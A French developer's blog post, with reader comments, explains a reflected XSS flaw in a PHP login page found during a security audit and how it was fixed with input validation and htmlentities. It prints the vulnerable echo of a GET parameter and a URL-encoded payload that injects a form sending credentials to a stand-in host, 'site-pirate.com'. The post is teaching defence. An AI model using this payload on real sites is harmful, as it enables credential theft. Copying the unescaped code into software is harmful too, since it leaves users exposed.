RUBRIQUES

Billets RSS

Je suis vulnérable...

Soumis à un audit de sécurité récemment, l'application que je conçois avec soin était vulnérable à une attaque de type Cross Site Scripting, également connu sous l'appellation attaque XSS.

Le principe d'une attaque XSS est simple mais souvent mal expliqué. Elle consiste à manipuler les failles d'un site web en modifiant les paramètres de l'application.

Pour comprendre son principe, reprenons les bases. Pour la communication entre le client et le serveur, le passage de paramètres en méthode POST ou GET est généralement privilégié. Dans le cas des paramètres passés par url (GET), il est aisé pour un pirate averti de repérer une éventuelle faiblesse, notamment en utilisant un scanneur de site web.

La manipulation de ces variables pourra être utilisée afin de :

  • détourner les actions des formulaires vers un site pirate
  • créer un dépassement de pile et ainsi planter le serveur
  • effectuer des injections SQL

A partir du moment où vos applications acceptent des paramètres qui seront ensuite affichés dans des pages HTML, vous êtes vulnérable aux attaques XSS, à moins d'avoir pris les précautions nécessaires.

Concrètement, l'audit de sécurité effectué sur l'application web dont je suis responsable m'a alerté d'une faille sur le détournement du formulaire de connexion.

Lors de cette phase d'identification, l'utilisateur renseigne son identifiant et son mot de passe. Une fois le formulaire validé, l'application procède à la traditionnelle vérification du compte. Si le couple identifiant/mot de passe ne correspond à aucun compte dans la base, l'internaute est redirigé vers la page de connexion.

Jusqu'à présent, rien de compliqué. Seulement, pour disposer d'un retour utilisateur (feedback), l'application passe en paramètre GET la variable « msg=loginFailure ». Le script de connexion détecte la variable et teste sa valeur :

if (!isset($_GET['msg']))           $_GET['msg'] = '';
if ($_GET['msg'] == 'loginFailure') $_GET['msg'] = 'Connexion refusée. Merci de vérifier votre identifiant et votre mot de passe.';

La variable est ensuite réutilisée pour être affichée dans la page HTML. Examinons cette dernière, simplifiée pour les explications :

<div id="feedback"><?php echo $_GET['msg'] ?></div>

<form name="identification" action="identification.php" method="post">
    
    Identifiant : <input type="text" name="login"/> <br/>
    Mot de passe : <input type="password" name="pass"/><br/>
    
    <input type="submit" value="soumettre"/>
</form>

Vous noterez que la zone de message pour l'affichage du retour d'erreur est placée en amont du formulaire. La faille réside en ce point. Avec le code ci-dessus, il suffit de modifier la variable msg dans l'url pour ajouter une balise de formulaire, avant celle légitime, pointant vers l'adresse d'un site pirate.

Pour obtenir une url correctement formatée et exploitant la faille de sécurité, utilisons la fonction urlencode() de php :

echo urlencode('<form name="identification" action="http://site-pirate.com" method="post">');
// affichera : 
// %3Cform+name%3D%22identification%22+action%3D%22http%3A%2F%2Fsite-pirate.com%22+method%3D%22post%22%3E

Grâce à cette petite ligne de code, j'obtiens mon attaque XSS. Il suffit dorénavant au pirate d'envoyer un mail aux utilisateurs leur demandant de se connecter à l'application en utilisant l'url suivante :

http://monsite.com/connexion.php?msg=%3Cform+name%3D%22identification%22+action%3D%22http%3A%2F%2Fsite-pirate.com%22+method%3D%22post%22%3E

En affichant le code source de la page HTML ainsi générée on obtient dorénavant :

<div id="feedback"><form name="identification" action="http://site-pirate.com" method="post"></div>

<form name="identification" action="identification.php" method="post">
    
    Identifiant : <input type="text" name="login"/> <br/>
    Mot de passe : <input type="password" name="pass"/><br/>
    
    <input type="submit" value="soumettre"/>
</form>

Si l'internaute soumet ce formulaire, les informations de connexion seront envoyées au site pirate, la première déclaration de formulaire prenant le pas sur celle d'origine.

Pour se prémunir contre ces attaques, il est nécessaire de valider tous les paramètres GET. Ainsi, il suffit de modifier le code serveur comme suit :

<?php
     if (!isset($_GET['msg']))           $_GET['msg'] = '';
else if ($_GET['msg'] == 'loginFailure') $_GET['msg'] = 'Connexion refusée. Merci de vérifier votre identifiant et votre mot de passe.';
else                                     trigger_error('Url erronée', E_USER_ERROR);
?>

Ou encore d'utiliser la fonction htmlentities() lors de l'affichage du message de feedback pour encoder tout caractère spécial utilisable dans une page HTML :

<div id="feedback"><?php echo htmlentities($_GET['msg'], ENT_QUOTES) ?></div>

[EDIT 23/11/07] : n'oubliez pas d'ajouter le second argument ENT_QUOTES (htmlentities is badly designed).

La protection contre les attaques XSS est donc aussi simple que leur concept. La difficulté n'est pas là. Le véritable problème réside dans la difficulté voire l'impossibilité de détecter ce type d'intrusion.

La responsabilité du développeur, bien qu'engagée, ne remet aucunement en cause son degré de compétence. Le code d'origine n'est nullement défectueux et fonctionne parfaitement lorsqu'il est utilisé dans une logique applicative normale. Gardons toujours en mémoire qu'un développeur écrit des milliers de lignes de code. De fait, il est humainement impossible de penser à toutes les failles de sécurité au même titre qu'il n'existe aucun logiciel dépourvu de bogues.

Il faut s'inscrire dans une toute autre logique et lui donner les moyens d'auditer la sécurité de l'application qu'il maintient. Si le pirate utilise un scanneur pour détecter les failles de sécurité d'un site web, offrons au développeur un outil similaire.

Me concernant, pour me prémunir de telles attaques, j'utilise dorénavant le logiciel AWS (Acunetix Web Vulnerability Scanner). Il propose une version gratuite analysant uniquement ce type d'infection.

Les autres possibilités de scan des vulnérabilités sont nombreuses mais nécessiteront un effort financier conséquent. Mais la sécurité a-t-elle un prix? Imaginez que vos clients vous traînent en justice pour vol d'identité sur une application dont vous êtes responsable : avec le recul, ne fallait-il pas investir dans la prévention?

J'aimerai également apporter une nuance aux explications abordées dans ce billet. Une faille de sécurité vient d'être corrigée dans l'applicatif, c'est toujours ça de pris. Néanmoins, pour que cette attaque fonctionne, encore faut-il que l'utilisateur non sensibilisé à ce type de problématique utilise l'url fournie par le pirate. Analysons un autre scénario.

Vous serez d'accord pour admettre qu'il suffit de quelques minutes pour reproduire n'importe qu'elle interface web. A partir de ce constat, le pirate reproduit la page d'identification conformément au site légitime. Il héberge ensuite cette page sur son propre serveur.

A nouveau, il suffit d'envoyer un mail aux utilisateurs de l'application, en se faisant passer pour l'organisme reconnu, spécifiant une modification de l'adresse de connexion et nous retombons dans les mêmes soucis de récupération d'informations. L'internaute validera le formulaire détourné, ne se doutant de rien car retrouvant la même page à laquelle il fut habitué.

La faille de sécurité ne réside plus tellement dans le code source applicatif, mais dans le vol d'adresses mails des utilisateurs. Et là le problème reste entier car voler une adresse de courrier peut être réalisée par simple prise de contact humain. Il est alors impossible de s'en prémunir techniquement...

Chargement en cours...

Commentaires

#1. Par Bryce

Bravo pour ce billet !
On en voit tellement peu sur le Net.

#2. Par antoine

Y'a un truc que j'ai pas compris.
Comment les utilisateurs de l'appli arrivent sur la page modifiée (celle avec la balise en + qui redirige les infos) ?

Juste 2 petits retours sur le billet :

"Il suffit dorénavant au pirate d'envoyer un mail aux utilisateurs leur demandant de se connecter à l'application en utilisant l'url suivante".

"La faille de sécurité ne réside plus tellement dans le code source applicatif, mais dans le vol d'adresses mails des utilisateurs".

#3. Par Samx

Très bon billet.
Merci de nous partager ta mésaventure et la solution ...

A+

#4. Par Nassim

Bon exemple, mais la solution proposé n'est pas la bonne à mon goût.
l'affichage de $_GET['msg'] est à proscrire..

Commentaire délocalisé en billet afin d'avoir la visu sur le code...

#5. Par antoine

Merci pour votre réponse. Ma question était mal posée.
J'avais bien lu le passage que vous citez, c'est justement ça que je ne comprends pas. Comment le pirate peut-il envoyer un mail aux utilisateurs ? Ca ne me semble pas trivial.

#6. Par Psuken

Tout simplement génial. On entend beaucoup parler de sécurité, à tous niveau. Personnellement j'essaye quand l'envie m'en prend de bypasser la sécurité de certains sites, y compris des miens (injections SQL en majorité) mais sans jamais tenter de nuire ou de pénaliser qui que ce soit.

Les failles on en entend parler de partout sans réellement savoir ce que c'est réelement. Cette explication est très claire et compréhensible. On pourrait certainement aller plus loin mais....

Bref, bravo... maintenant il en me reste qu'a verifier le codage de mes sites ;)

Merci !

Ecrire un commentaire









Prévention envers les robots (cliquez sur l'image pour modifier le texte si ce dernier est indistinct) :
captcha

Quelques notes à propos des commentaires...

  • les sauts de lignes sont conservés, les espaces ne le sont pas (plusieurs espaces se traduiront comme un seul et unique espace),
  • les URLs sont automatiquement converties en lien hypertexte,
  • pour insérer une zone de code dans votre commentaire, utilisez la syntaxe <code type="clé">mon code...</code> où "clé" peut avoir l'une des valeurs suivantes : php, js, css, html, xml
  • toute syntaxe HTML sera ignorée,
  • ne laissez votre email qu'en attente d'une réponse de l'auteur personnalisée,
  • un français correct est exigé. Le style SMS est prohibé,
  • par principe d'autocratie et de tyrannie, nous nous réservons le droit de supprimer les commentaires sans avis préalable ni justification quelconque.